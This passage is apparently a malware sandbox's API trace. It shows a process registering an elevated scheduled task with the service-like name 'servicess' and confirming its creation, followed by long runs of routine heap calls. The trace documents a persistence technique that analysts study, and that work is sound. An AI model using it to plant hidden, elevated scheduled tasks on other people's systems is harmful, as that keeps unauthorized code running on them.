lpSystemTime=0x29cb58 | out: lpSystemTime=0x29cb58*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0xb, wMilliseconds=0x124)) [0151.128] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0151.128] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0151.129] GetUserNameW (in: lpBuffer=0x29cb80, pcbBuffer=0x29cb68 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x29cb68) returned 1 [0151.129] ITaskDefinition:get_RegistrationInfo (in: This=0x147da0, ppRegistrationInfo=0x29cb50 | out: ppRegistrationInfo=0x29cb50*=0x147ee0) returned 0x0 [0151.129] IRegistrationInfo:put_Author (This=0x147ee0, Author="") returned 0x0 [0151.129] _vsnwprintf (in: _Buffer=0x29cb80, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x29cb18 | out: _Buffer="2022-08-06T02:19:11") returned 19 [0151.130] IRegistrationInfo:put_Date (This=0x147ee0, Date="") returned 0x0 [0151.130] IUnknown:Release (This=0x147ee0) returned 0x1 [0151.130] malloc (_Size=0x18) returned 0x147ce0 [0151.130] free (_Block=0x147ce0) [0151.130] lstrlenW (lpString="") returned 0 [0151.130] ITaskDefinition:get_Principal (in: This=0x147da0, ppPrincipal=0x29cd70 | out: ppPrincipal=0x29cd70*=0x1465f0) returned 0x0 [0151.130] IPrincipal:put_RunLevel (This=0x1465f0, RunLevel=1) returned 0x0 [0151.130] IUnknown:Release (This=0x1465f0) returned 0x1 [0151.130] malloc (_Size=0x18) returned 0x147ce0 [0151.130] ITaskFolder:RegisterTaskDefinition (in: This=0x147d50, Path="servicess", pDefinition=0x147da0, flags=6, UserId=0x29cdf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x29ce30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x29ed00, varVal2=0xfe), LogonType=3, sddl=0x29ce10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x29cd10 | out: ppTask=0x29cd10*=0x146960) returned 0x0 [0151.246] free (_Block=0x147ce0) [0151.246] _memicmp (_Buf1=0x3cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0151.246] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x3cd2d0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0151.246] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0151.246] GetProcessHeap () returned 0x3b0000 [0151.246] GetProcessHeap () returned 0x3b0000 [0151.246] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd630) returned 1 [0151.246] GetProcessHeap () returned 0x3b0000 [0151.246] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd630) returned 0xc [0151.246] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd630 | out: hHeap=0x3b0000) returned 1 [0151.246] GetProcessHeap () returned 0x3b0000 [0151.247] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x82) returned 0x3e9d70 [0151.247] _vsnwprintf (in: _Buffer=0x29d450, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x29ccb8 | out: _Buffer="SUCCESS: The scheduled task \"servicess\" has successfully been created.\n") returned 71 [0151.247] _fileno (_File=0x7fefed02ab0) returned -2 [0151.247] _errno () returned 0x144bb0 [0151.247] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0151.247] SetLastError (dwErrCode=0x6) [0151.247] lstrlenW (lpString="SUCCESS: The scheduled task \"servicess\" has successfully been created.\n") returned 71 [0151.247] GetConsoleOutputCP () returned 0x0 [0151.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"servicess\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0151.247] GetConsoleOutputCP () returned 0x0 [0151.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"servicess\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0xfffd1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"servicess\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 71 [0151.247] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 71 [0151.247] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0151.248] IUnknown:Release (This=0x146960) returned 0x0 [0151.248] TaskScheduler:IUnknown:Release (This=0x147da0) returned 0x0 [0151.248] TaskScheduler:IUnknown:Release (This=0x147d50) returned 0x0 [0151.248] TaskScheduler:IUnknown:Release (This=0x147b20) returned 0x1 [0151.248] lstrlenW (lpString="") returned 0 [0151.248] lstrlenW (lpString="11") returned 2 [0151.248] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="11", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0151.248] GetProcessHeap () returned 0x3b0000 [0151.248] GetProcessHeap () returned 0x3b0000 [0151.248] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc3a0) returned 1 [0151.248] GetProcessHeap () returned 0x3b0000 [0151.248] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc3a0) returned 0x1fc [0151.249] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc3a0 | out: hHeap=0x3b0000) returned 1 [0151.249] GetProcessHeap () returned 0x3b0000 [0151.249] GetProcessHeap () returned 0x3b0000 [0151.249] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc210) returned 1 [0151.249] GetProcessHeap () returned 0x3b0000 [0151.249] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc210) returned 0x6 [0151.249] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc210 | out: hHeap=0x3b0000) returned 1 [0151.249] GetProcessHeap () returned 0x3b0000 [0151.249] GetProcessHeap () returned 0x3b0000 [0151.249] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd550) returned 1 [0151.249] GetProcessHeap () returned 0x3b0000 [0151.249] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd550) returned 0x16 [0151.249] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd550 | out: hHeap=0x3b0000) returned 1 [0151.249] GetProcessHeap () returned 0x3b0000 [0151.249] GetProcessHeap () returned 0x3b0000 [0151.249] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd530) returned 1 [0151.249] GetProcessHeap () returned 0x3b0000 [0151.249] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd530) returned 0x18 [0151.249] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd530 | out: hHeap=0x3b0000) returned 1 [0151.249] GetProcessHeap () returned 0x3b0000 [0151.249] GetProcessHeap () returned 0x3b0000 [0151.249] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cce00) returned 1 [0151.249] GetProcessHeap () returned 0x3b0000 [0151.249] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cce00) returned 0x20 [0151.250] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cce00 | out: hHeap=0x3b0000) returned 1 [0151.250] GetProcessHeap () returned 0x3b0000 [0151.250] GetProcessHeap () returned 0x3b0000 [0151.250] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc040) returned 1 [0151.250] GetProcessHeap () returned 0x3b0000 [0151.250] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc040) returned 0xa0 [0151.250] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc040 | out: hHeap=0x3b0000) returned 1 [0151.250] GetProcessHeap () returned 0x3b0000 [0151.250] GetProcessHeap () returned 0x3b0000 [0151.251] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cbac0) returned 1 [0151.251] GetProcessHeap () returned 0x3b0000 [0151.251] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cbac0) returned 0x18 [0151.251] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cbac0 | out: hHeap=0x3b0000) returned 1 [0151.251] GetProcessHeap () returned 0x3b0000 [0151.251] GetProcessHeap () returned 0x3b0000 [0151.251] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccb60) returned 1 [0151.251] GetProcessHeap () returned 0x3b0000 [0151.251] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccb60) returned 0x20 [0151.251] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccb60 | out: hHeap=0x3b0000) returned 1 [0151.251] GetProcessHeap () returned 0x3b0000 [0151.251] GetProcessHeap () returned 0x3b0000 [0151.251] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc2a0) returned 1 [0151.251] GetProcessHeap () returned 0x3b0000 [0151.251] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc2a0) returned 0x80 [0151.252] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc2a0 | out: hHeap=0x3b0000) returned 1 [0151.252] GetProcessHeap () returned 0x3b0000 [0151.252] GetProcessHeap () returned 0x3b0000 [0151.252] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd570) returned 1 [0151.252] GetProcessHeap () returned 0x3b0000 [0151.252] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd570) returned 0x18 [0151.252] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd570 | out: hHeap=0x3b0000) returned 1 [0151.252] GetProcessHeap () returned 0x3b0000 [0151.252] GetProcessHeap () returned 0x3b0000 [0151.252] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccb30) returned 1 [0151.252] GetProcessHeap () returned 0x3b0000 [0151.252] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccb30) returned 0x20 [0151.252] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccb30 | out: hHeap=0x3b0000) returned 1 [0151.252] GetProcessHeap () returned 0x3b0000 [0151.252] GetProcessHeap () returned 0x3b0000 [0151.252] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cdce0) returned 1 [0151.252] GetProcessHeap () returned 0x3b0000 [0151.252] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cdce0) returned 0x82 [0151.252] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cdce0 | out: hHeap=0x3b0000) returned 1 [0151.252] GetProcessHeap () returned 0x3b0000 [0151.253] GetProcessHeap () returned 0x3b0000 [0151.253] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd510) returned 1 [0151.253] GetProcessHeap () returned 0x3b0000 [0151.253] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd510) returned 0x18 [0151.253] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd510 | out: hHeap=0x3b0000) returned 1 [0151.253] GetProcessHeap () returned 0x3b0000 [0151.253] GetProcessHeap () returned 0x3b0000 [0151.253] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccb00) returned 1 [0151.253] GetProcessHeap () returned 0x3b0000 [0151.253] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccb00) returned 0x20 [0151.253] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccb00 | out: hHeap=0x3b0000) returned 1 [0151.253] GetProcessHeap () returned 0x3b0000 [0151.253] GetProcessHeap () returned 0x3b0000 [0151.253] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc380) returned 1 [0151.253] GetProcessHeap () returned 0x3b0000 [0151.253] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc380) returned 0xe [0151.253] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc380 | out: hHeap=0x3b0000) returned 1 [0151.253] GetProcessHeap () returned 0x3b0000 [0151.253] GetProcessHeap () returned 0x3b0000 [0151.253] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc360) returned 1 [0151.253] GetProcessHeap () returned 0x3b0000 [0151.253] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc360) returned 0x18 [0151.254] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc360 | out: hHeap=0x3b0000) returned 1 [0151.254] GetProcessHeap () returned 0x3b0000 [0151.254] GetProcessHeap () returned 0x3b0000 [0151.254] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5da0) returned 1 [0151.254] GetProcessHeap () returned 0x3b0000 [0151.254] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5da0) returned 0x20 [0151.254] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5da0 | out: hHeap=0x3b0000) returned 1 [0151.254] GetProcessHeap () returned 0x3b0000 [0151.254] GetProcessHeap () returned 0x3b0000 [0151.254] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cbc40) returned 1 [0151.254] GetProcessHeap () returned 0x3b0000 [0151.254] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cbc40) returned 0x208 [0151.254] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cbc40 | out: hHeap=0x3b0000) returned 1 [0151.254] GetProcessHeap () returned 0x3b0000 [0151.254] GetProcessHeap () returned 0x3b0000 [0151.255] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cbaa0) returned 1 [0151.255] GetProcessHeap () returned 0x3b0000 [0151.255] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cbaa0) returned 0x18 [0151.255] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cbaa0 | out: hHeap=0x3b0000) returned 1 [0151.255] GetProcessHeap () returned 0x3b0000 [0151.255] GetProcessHeap () returned 0x3b0000 [0151.255] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5cb0) returned 1 [0151.255] GetProcessHeap () returned 0x3b0000 [0151.255] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5cb0) returned 0x20 [0151.255] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5cb0 | out: hHeap=0x3b0000) returned 1 [0151.255] GetProcessHeap () returned 0x3b0000 [0151.255] GetProcessHeap () returned 0x3b0000 [0151.255] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd2d0) returned 1 [0151.255] GetProcessHeap () returned 0x3b0000 [0151.255] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd2d0) returned 0x200 [0151.256] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd2d0 | out: hHeap=0x3b0000) returned 1 [0151.256] GetProcessHeap () returned 0x3b0000 [0151.256] GetProcessHeap () returned 0x3b0000 [0151.256] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cbae0) returned 1 [0151.256] GetProcessHeap () returned 0x3b0000 [0151.256] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cbae0) returned 0x18 [0151.256] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cbae0 | out: hHeap=0x3b0000) returned 1 [0151.256] GetProcessHeap () returned 0x3b0000 [0151.256] GetProcessHeap () returned 0x3b0000 [0151.256] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5c20) returned 1 [0151.256] GetProcessHeap () returned 0x3b0000 [0151.256] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5c20) returned 0x20 [0151.256] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5c20 | out: hHeap=0x3b0000) returned 1 [0151.256] GetProcessHeap () returned 0x3b0000 [0151.256] GetProcessHeap () returned 0x3b0000 [0151.256] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc250) returned 1 [0151.256] GetProcessHeap () returned 0x3b0000 [0151.257] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc250) returned 0x14 [0151.257] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc250 | out: hHeap=0x3b0000) returned 1 [0151.257] GetProcessHeap () returned 0x3b0000 [0151.257] GetProcessHeap () returned 0x3b0000 [0151.257] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc230) returned 1 [0151.257] GetProcessHeap () returned 0x3b0000 [0151.257] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc230) returned 0x18 [0151.257] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc230 | out: hHeap=0x3b0000) returned 1 [0151.257] GetProcessHeap () returned 0x3b0000 [0151.257] GetProcessHeap () returned 0x3b0000 [0151.257] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5b60) returned 1 [0151.257] GetProcessHeap () returned 0x3b0000 [0151.257] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5b60) returned 0x20 [0151.257] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5b60 | out: hHeap=0x3b0000) returned 1 [0151.257] GetProcessHeap () returned 0x3b0000 [0151.257] GetProcessHeap () returned 0x3b0000 [0151.257] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc270) returned 1 [0151.257] GetProcessHeap () returned 0x3b0000 [0151.257] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc270) returned 0x16 [0151.257] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc270 | out: hHeap=0x3b0000) returned 1 [0151.257] GetProcessHeap () returned 0x3b0000 [0151.257] GetProcessHeap () returned 0x3b0000 [0151.258] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc1f0) returned 1 [0151.258] GetProcessHeap () returned 0x3b0000 [0151.258] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc1f0) returned 0x18 [0151.258] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc1f0 | out: hHeap=0x3b0000) returned 1 [0151.258] GetProcessHeap () returned 0x3b0000 [0151.258] GetProcessHeap () returned 0x3b0000 [0151.258] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5b30) returned 1 [0151.258] GetProcessHeap () returned 0x3b0000 [0151.258] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5b30) returned 0x20 [0151.258] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5b30 | out: hHeap=0x3b0000) returned 1 [0151.258] GetProcessHeap () returned 0x3b0000 [0151.258] GetProcessHeap () returned 0x3b0000 [0151.258] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba20) returned 1 [0151.258] GetProcessHeap () returned 0x3b0000 [0151.258] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cba20) returned 0x2 [0151.258] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba20 | out: hHeap=0x3b0000) returned 1 [0151.258] GetProcessHeap () returned 0x3b0000 [0151.258] GetProcessHeap () returned 0x3b0000 [0151.258] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5980) returned 1 [0151.258] GetProcessHeap () returned 0x3b0000 [0151.258] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5980) returned 0x20 [0151.259] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5980 | out: hHeap=0x3b0000) returned 1 [0151.259] GetProcessHeap () returned 0x3b0000 [0151.259] GetProcessHeap () returned 0x3b0000 [0151.259] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c59b0) returned 1 [0151.259] GetProcessHeap () returned 0x3b0000 [0151.259] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c59b0) returned 0x20 [0151.259] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c59b0 | out: hHeap=0x3b0000) returned 1 [0151.259] GetProcessHeap () returned 0x3b0000 [0151.259] GetProcessHeap () returned 0x3b0000 [0151.259] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c59e0) returned 1 [0151.259] GetProcessHeap () returned 0x3b0000 [0151.259] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c59e0) returned 0x20 [0151.259] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c59e0 | out: hHeap=0x3b0000) returned 1 [0151.259] GetProcessHeap () returned 0x3b0000 [0151.259] GetProcessHeap () returned 0x3b0000 [0151.260] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5a10) returned 1 [0151.260] GetProcessHeap () returned 0x3b0000 [0151.260] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5a10) returned 0x20 [0151.260] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5a10 | out: hHeap=0x3b0000) returned 1 [0151.260] GetProcessHeap () returned 0x3b0000 [0151.260] GetProcessHeap () returned 0x3b0000 [0151.260] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccb90) returned 1 [0151.260] GetProcessHeap () returned 0x3b0000 [0151.260] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccb90) returned 0x20 [0151.260] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccb90 | out: hHeap=0x3b0000) returned 1 [0151.260] GetProcessHeap () returned 0x3b0000 [0151.260] GetProcessHeap () returned 0x3b0000 [0151.260] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd670) returned 1 [0151.260] GetProcessHeap () returned 0x3b0000 [0151.260] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd670) returned 0xa [0151.261] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd670 | out: hHeap=0x3b0000) returned 1 [0151.261] GetProcessHeap () returned 0x3b0000 [0151.261] GetProcessHeap () returned 0x3b0000 [0151.261] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccbc0) returned 1 [0151.261] GetProcessHeap () returned 0x3b0000 [0151.261] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccbc0) returned 0x20 [0151.261] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccbc0 | out: hHeap=0x3b0000) returned 1 [0151.261] GetProcessHeap () returned 0x3b0000 [0151.261] GetProcessHeap () returned 0x3b0000 [0151.261] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c7aa0) returned 1 [0151.261] GetProcessHeap () returned 0x3b0000 [0151.261] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c7aa0) returned 0x30 [0151.261] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c7aa0 | out: hHeap=0x3b0000) returned 1 [0151.261] GetProcessHeap () returned 0x3b0000 [0151.261] GetProcessHeap () returned 0x3b0000 [0151.261] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccbf0) returned 1 [0151.261] GetProcessHeap () returned 0x3b0000 [0151.261] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccbf0) returned 0x20 [0151.262] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccbf0 | out: hHeap=0x3b0000) returned 1 [0151.262] GetProcessHeap () returned 0x3b0000 [0151.262] GetProcessHeap () returned 0x3b0000 [0151.262] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c7ae0) returned 1 [0151.262] GetProcessHeap () returned 0x3b0000 [0151.262] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c7ae0) returned 0x30 [0151.262] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c7ae0 | out: hHeap=0x3b0000) returned 1 [0151.262] GetProcessHeap () returned 0x3b0000 [0151.262] GetProcessHeap () returned 0x3b0000 [0151.262] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccdd0) returned 1 [0151.262] GetProcessHeap () returned 0x3b0000 [0151.262] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccdd0) returned 0x20 [0151.262] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccdd0 | out: hHeap=0x3b0000) returned 1 [0151.263] GetProcessHeap () returned 0x3b0000 [0151.263] GetProcessHeap () returned 0x3b0000 [0151.263] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd590) returned 1 [0151.263] GetProcessHeap () returned 0x3b0000 [0151.263] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd590) returned 0x10 [0151.263] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd590 | out: hHeap=0x3b0000) returned 1 [0151.263] GetProcessHeap () returned 0x3b0000 [0151.263] GetProcessHeap () returned 0x3b0000 [0151.263] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccda0) returned 1 [0151.263] GetProcessHeap () returned 0x3b0000 [0151.263] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccda0) returned 0x20 [0151.263] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccda0 | out: hHeap=0x3b0000) returned 1 [0151.263] GetProcessHeap () returned 0x3b0000 [0151.263] GetProcessHeap () returned 0x3b0000 [0151.263] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd5b0) returned 1 [0151.263] GetProcessHeap () returned 0x3b0000 [0151.263] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd5b0) returned 0x10 [0151.263] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd5b0 | out: hHeap=0x3b0000) returned 1 [0151.263] GetProcessHeap () returned 0x3b0000 [0151.263] GetProcessHeap () returned 0x3b0000 [0151.263] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd70) returned 1 [0151.263] GetProcessHeap () returned 0x3b0000 [0151.263] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccd70) returned 0x20 [0151.264] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd70 | out: hHeap=0x3b0000) returned 1 [0151.264] GetProcessHeap () returned 0x3b0000 [0151.264] GetProcessHeap () returned 0x3b0000 [0151.264] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd5d0) returned 1 [0151.264] GetProcessHeap () returned 0x3b0000 [0151.264] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd5d0) returned 0xe [0151.264] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd5d0 | out: hHeap=0x3b0000) returned 1 [0151.264] GetProcessHeap () returned 0x3b0000 [0151.264] GetProcessHeap () returned 0x3b0000 [0151.264] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd40) returned 1 [0151.264] GetProcessHeap () returned 0x3b0000 [0151.264] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccd40) returned 0x20 [0151.264] HeapFree (in: 